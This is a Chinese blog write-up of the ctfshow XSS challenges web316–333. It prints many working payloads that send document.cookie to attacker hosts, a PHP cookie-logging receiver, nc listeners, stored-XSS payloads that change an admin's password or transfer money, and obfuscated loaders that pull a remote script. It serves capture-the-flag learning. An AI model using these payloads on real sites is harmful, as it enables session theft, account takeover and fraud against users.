目录

  1. 1. 前言
  2. 2. 语法基础
    1. 2.1. JavaScript
    2. 2.2. DOM
  3. 3. 反射型XSS
    1. 3.1. Web316
    2. 3.2. Web317
    3. 3.3. Web318
    4. 3.4. Web319
    5. 3.5. Web320
    6. 3.6. Web321
    7. 3.7. Web322~326
  4. 4. 存储型XSS
    1. 4.1. Web327
    2. 4.2. Web328
    3. 4.3. Web329
    4. 4.4. Web330
    5. 4.5. Web331
    6. 4.6. Web332~333
  5. 5. 绕过过滤

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

ctfshow XSS

2023/8/22 Web XSS ctfshow
  |     |   总文章阅读量:

前言

ctfshow web316-333

参考Boogipop的博客

本人没有vps,于是基于HTCP映射内网穿透来做这几题,配置可以参考https://blog.51cto.com/u_15076215/4531399

介绍:

这是一种将任意Javascript代码插入到其他Web用户页面里执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在HTML页面里嵌入恶意代码。当用户浏览该页时,这些潜入在HTML中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如cookie窃取等。

语法基础

JavaScript

菜鸟教程:https://www.runoob.com/js/js-tutorial.html

最基本的js语句

<script>function()</script>

当页面载入完毕后执行Javascript代码

<body onload="myFunction()"></body>

DOM

document.cookie

获取cookie

这里演示一种最基本的xss方法

<script>window.alert(document.cookie)</script>

image-20231102204022562

document.cookie=

设置cookie

<script>document.location.href='http://115.236.153.170/XSS.php?1='+document.cookie</script>

转发语句,触发之后就会跳转到我们的vps的http服务并执行脚本写入文件带出cookie

<?php
$content=$_GET[1];
if(isset($content)){
    file_put_contents('flag.txt',$content);
}else{
    echo 'no data input';
}

反射型XSS

Web316

这几题的主要思想都是把cookie带到自己的监听端口上,管理员那边会有bot自己点

先在本地虚拟机上开启监听

nc -lvnp 777

然后在题目页面输入xss代码,这里面任选一个

<script>document.location.href='http://xxx:7777/'+document.cookie</script>
<body onload="window.open('http://xxx:7777/'+document.cookie)"></body>
<svg onload="window.open('http://xxx:7777/'+document.cookie)"></svg>
<input onfocus="window.open('http://xxx:7777/'+document.cookie)" autofocus></input>
<iframe onload="window.open('http://xxx:7777/'+document.cookie)"></iframe>

image-20230909203906426

这里要nc多次才能得到flag,因为我们自己本身也点了,相当于X自己

image-20230909203937969


Web317

好像过滤了script,换一种标签即可

<body onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></body>
<svg onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></svg>
<input onfocus="window.open('http://76135132qk.imdo.co:80/'+document.cookie)" autofocus></input>
<iframe onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></iframe>

多x几次就有flag了

image-20231102202604237


Web318

过滤了script,img,payload继续一把梭即可

<body onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></body>
<svg onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></svg>
<input onfocus="window.open('http://76135132qk.imdo.co:80/'+document.cookie)" autofocus></input>
<iframe onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></iframe>

tips:发现好像网页那边先x我这边再nc好像能稳定成功


Web319

不知道过滤啥,上面的payload继续用


Web320

过滤了空格,可以用%0c%09/**/注释符或者/去绕过

payload:

<body/**/onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></body>

Web321

ban了xss这个字符串,没啥用,继续打

<body/**/onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></body>

Web322~326

不知道过滤了啥,反正一把梭


存储型XSS

Web327

flag的获取依旧是得到admin的cookie

这边是要我们给admin发一封邮件,所以收件人是admin,然后信的内容就是我们的代码了,这样admin收到之后打开就会触发我们的代码

储存型XSS和反射型XSS的差别就是持久性,储存箱XSS只要你注入了,每次访问都会返回信息,这一题payload虽然一样但是是通过邮件的方式储存在了那里

这题和前面的反射型XSS是一样的payload,写在信的内容即可

<body/**/onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></body>

image-20231104220407676


Web328

这题有一个登录注册的功能,还有查看用户名密码的用户管理界面,但是这个界面需要是管理员才能看

猜测我们得成为管理员才能在用户管理界面获取我们需要的信息

那么就需要管理员的cookie来绕过登录鉴权,我们可以注册一个账号,其中带有我们的xss语句,此时我们的用户名密码就会出现在用户管理界面中,一旦管理员查看了用户管理界面就会执行xss语句

所以先在注册界面注册一个账号,用户名任意,密码插入我们的payload

payload:

我们这里弹到vps写文件带出管理员的cookie

<script>document.location.href='http://76135132qk.imdo.co/XSS.php?1='+document.cookie</script>

然后注册,这样就能带出cookie了(因为我这里用的是python起的http服务,所以没能解析php写入flag.txt,不过可以监听到请求,也能带出cookie)

image-20231104222911029

把这里最新的PHPSESSID带到我们的cookie中,此时我们就是admin账户了

然后我们不能直接看到后台数据,因为访问的一瞬间就会跳转过去

这里需要抓包才能得到我们的flag

image-20231104223351952


Web329

和上一题一样的注册界面,但是这一次我们并不能在拿到cookie后以admin登入

那就换种方式,我们直接拿想要的内容

<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show{')>-1)
{window.location.href='http://76135132qk.imdo.co/XSS.php?1='+value.innerHTML;}});</script>

这段js的意思就是从当前界面找到有ctfshow{的字段,这样子admin那边加载用户管理页面的时候就会让我们获得有ctfshow{的字段

PS:这次想起来用php起http服务了(

php -S 0.0.0.0:80

成功带出

image-20231105115629827


Web330

上一题的payload打不通,这一题应该是管理员的所在界面没有flag了

不过这一次多了个修改密码的功能,猜测是让我们用xss来修改管理员的密码

先抓包看一下修改密码的请求体

image-20231105120328377

http://f19de0ef-594d-4b4c-ae7c-a05b48c02011.challenge.ctf.show/api/change.php?p=123456

然后构造我们的payload:

注意这里要x的是让管理员自己发送请求修改自己的密码,而管理员那边肯定是本地的,所以本地是127.0.0.1

<script>document.location.href='http://127.0.0.1/api/change.php?p=123456'</script>

把密码设置为123456

接下来的话尝试了一下,密码处进行xss失败了,应该是管理员查看用户界面那边也做了敏感处理,我们可以在用户名处进行xss,添加我们的payload

image-20231105121725273

然后等一会就可以登录admin了,密码123456

接下来点击用户管理,因为会跳转到127.0.0.1,所以我们需要先抓包

image-20231105121943817


Web331

这题修改密码的传参方式改为了post传参

我们可以翻一下页面源码,发现调用了select.js,抄一下select.js里面的语句

$.ajax({
    url: 'api/change.php',
    type: 'post',
    data: {
        p: newpass
    }
});

然后构造我们的payload

<script>$.ajax({url:'api/change.php',type:'post',data:{p:123456}});</script>

接下来就是和上一题一样的打法了


Web332~333

这两题一样,多了个账户余额的功能,flag要9999元才能买到,也给了一个转账汇款的功能

初始给了5块钱,可以给自己转来实现余额增加,那么有一种做法就是burp抓包转账接口,重复这个操作

image-20231105162354489

或者写个脚本:by pop✌

#Author:@Boogipop
import requests
headers={
    'cookie':'PHPSESSID=4f3o5emvovrmbfha8b0ee06bvm'
}
data={
    'u':'boogipop',
    'a':5
}
url='http://f6d876b7-0f8d-4deb-9431-bdc17d253e28.challenge.ctf.show/api/amount.php'
x=4
while True:
    data = {
        'u': 'boogipop',
        'a': x
    }
    r=requests.post(url,data=data,headers=headers)
    if x>10000:
        print('-------done------')
        break
    else:   
        print('not enough')
    x+=x

原本这题还存在非预期解:转-10000即可给自己+10000,类似类型转换?不过现在修了

接下来看xss的做法:

让管理员给我们转账10000元

先抓个包看看接口和请求体

image-20231105162840412

然后构造payload:(管理员付不起10w块)

<script>$.ajax({url:'/api/amount.php',type:'post',data:{u:'0w0',a:10000}});</script>

在注册账号的用户名处进行xss,此时我们就被转了1w,可以去买flag了


绕过过滤

  • 过滤空格:/**/%09(tab),%0c(换页符),/

  • unicode编码:

    fromCharCode()方法

    将Unicode编码转换为一个字符

    <sCRipT>

    document.write(String.fromCharCode(60));document.write(String.fromCharCode(115));document.write(String.fromCharCode(67));document.write(String.fromCharCode(82));document.write(String.fromCharCode(105));document.write(String.fromCharCode(112));document.write(String.fromCharCode(84));document.write(String.fromCharCode(62));

    /

    document.write(String.fromCharCode(47));

    使用的时候形如:

    <body/οnlοad=“document.write(String.fromCharCode(32));document.write(String.fromCharCode(60));document.write(String.fromCharCode(115));document.write(String.fromCharCode(67));document.write(String.fromCharCode(114));document.write(String.fromCharCode(73));document.write(String.fromCharCode(112));document.write(String.fromCharCode(116));document.write(String.fromCharCode(32));document.write(String.fromCharCode(115));document.write(String.fromCharCode(114));document.write(String.fromCharCode(67));document.write(String.fromCharCode(61));document.write(String.fromCharCode(47));document.write(String.fromCharCode(47));document.write(String.fromCharCode(120));document.write(String.fromCharCode(115));document.write(String.fromCharCode(46));document.write(String.fromCharCode(115));document.write(String.fromCharCode(98));document.write(String.fromCharCode(47));document.write(String.fromCharCode(89));document.write(String.fromCharCode(84));document.write(String.fromCharCode(85));document.write(String.fromCharCode(104));document.write(String.fromCharCode(62));document.write(String.fromCharCode(60));document.write(String.fromCharCode(47));document.write(String.fromCharCode(115));document.write(String.fromCharCode(67));document.write(String.fromCharCode(82));document.write(String.fromCharCode(105));document.write(String.fromCharCode(112));document.write(String.fromCharCode(84));document.write(String.fromCharCode(62));
  • 过滤.

    eval():js中的eval函数会将传入的字符串当做 JavaScript 代码进行执行,可以识别16进制的字符串

    例:

    <body/οnlοad=eval("\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x36\x30\x2c\x31\x31\x35\x2c\x36\x37\x2c\x31\x31\x34\x2c\x37\x33\x2c\x31\x31\x32\x2c\x31\x31\x36\x2c\x33\x32\x2c\x31\x31\x35\x2c\x31\x31\x34\x2c\x36\x37\x2c\x36\x31\x2c\x34\x37\x2c\x34\x37\x2c\x31\x32\x30\x2c\x31\x31\x35\x2c\x34\x36\x2c\x31\x31\x35\x2c\x39\x38\x2c\x34\x37\x2c\x38\x39\x2c\x38\x34\x2c\x38\x35\x2c\x31\x30\x34\x2c\x36\x32\x2c\x36\x30\x2c\x34\x37\x2c\x31\x31\x35\x2c\x36\x37\x2c\x38\x32\x2c\x31\x30\x35\x2c\x31\x31\x32\x2c\x38\x34\x2c\x36\x32\x29\x29\x3b")>
    <!--document.write(String.fromCharCode(60,115,67,114,73,112,116,32,115,114,67,61,47,47,120,115,46,115,98,47,89,84,85,104,62,60,47,115,67,82,105,112,84,62));

    十六进制字符串生成脚本

    a= "<sCrIpt srC=//xs.sb/YTUh></sCRipT>"
    res = ''
    res2 = ''
    for i in a:
      tmp = ord(i)
      res += str(tmp)
      res+=","
      res2 +=f"document.write(String.fromCharCode({str(tmp)}));"
    # print(res)
    # print(res2)
    #-------------生成脚本分为上下2个,上面的是生成没过滤.的脚本---------------
    a = "646f63756d656e742e777269746528537472696e672e66726f6d43686172436f64652836302c3131352c36372c3131342c37332c3131322c3131362c33322c3131352c3131342c36372c36312c34372c34372c3132302c3131352c34362c3131352c39382c34372c38392c38342c38352c3130342c36322c36302c34372c3131352c36372c38322c3130352c3131322c38342c363229293b"
    z = 0
    res = ''
    for i in a:
      if z ==2:
        z=0
      if z ==0:
        res+=r"\x"
      res += i
      z+=1
    print(res)